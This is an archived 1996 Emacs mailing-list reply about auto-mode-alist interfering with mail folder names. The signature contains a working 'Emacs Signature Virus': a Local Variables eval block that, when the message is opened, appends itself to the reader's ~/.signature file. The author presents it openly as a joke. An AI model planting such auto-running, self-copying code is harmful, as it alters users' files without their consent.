From: Per Abrahamsen <abraham@dina.kvl.dk>
Subject: Re: couple of feature requests, a question
Date: 08 Apr 1996 19:23:49 +0200 [thread overview]
Message-ID: <rjohp21vfe.fsf@babbage.dina.kvl.dk> (raw)
In-Reply-To: wrobert2@mailhost.tcs.tulane.edu's message of 08 Apr 1996 11:30:54 -0500
>>>>> "SSFR" == St Suika Fenderson Roberts <wrobert2@mailhost.tcs.tulane.edu> writes:
SSFR> Lars posted something about the 'raw s being in there to deal with the
SSFR> fact that emacs dumps one into cc mode if the folder name ends in .cc .
SSFR> unless some other MTA/MUA needs the folder to end in .cc it seems the
SSFR> most reasonable fix is `don't end your folder names in .cc' rather
SSFR> than breaking compression support.
That is not just `.cc', it is anything in `auto-mode-alist'. Saying
`don't use file names matching anything in `auto-mode-alist'' is n\bno\bot\bt
reasonable. However, wrapping
(let (auto-mode-alist)
)
around the call might be if that is the only problem (you don't want
file local variables to take effect either).
--
Consider adding "(setq inhibit-local-variables t)" to your ".emacs" file.
Local Variables:
eval: (save-excursion
(goto-char (point-max))
(search-backward (concat "Consider " "adding"))
(append-to-file (point) (point-max) "~/.signature")
(message "The Emacs Signature Virus"))
End:
[ This virus actually worked with RMAIL users in Emacs 18!
MS-Word viruses, go home. ]
next prev parent reply other threads:[~1996-04-08 17:23 UTC|newest]
Thread overview: 10+ messages / expand[flat|nested] mbox.gz Atom feed top
1996-04-07 23:13 St. Suika Fenderson Roberts
1996-04-08 14:10 ` Greg Stark
1996-04-08 16:30 ` St. Suika Fenderson Roberts
1996-04-08 17:23 ` Per Abrahamsen [this message]
1996-04-08 17:25 ` Scott Blachowicz
1996-04-08 17:30 ` Lars Magne Ingebrigtsen
1996-04-09 3:10 ` St. Suika Fenderson Roberts
1996-04-10 0:05 ` Lars Magne Ingebrigtsen
1996-04-09 3:25 ` Jason L Tibbitts III
1996-04-10 0:07 ` Lars Magne Ingebrigtsen
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=rjohp21vfe.fsf@babbage.dina.kvl.dk \
--to=abraham@dina.kvl.dk \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).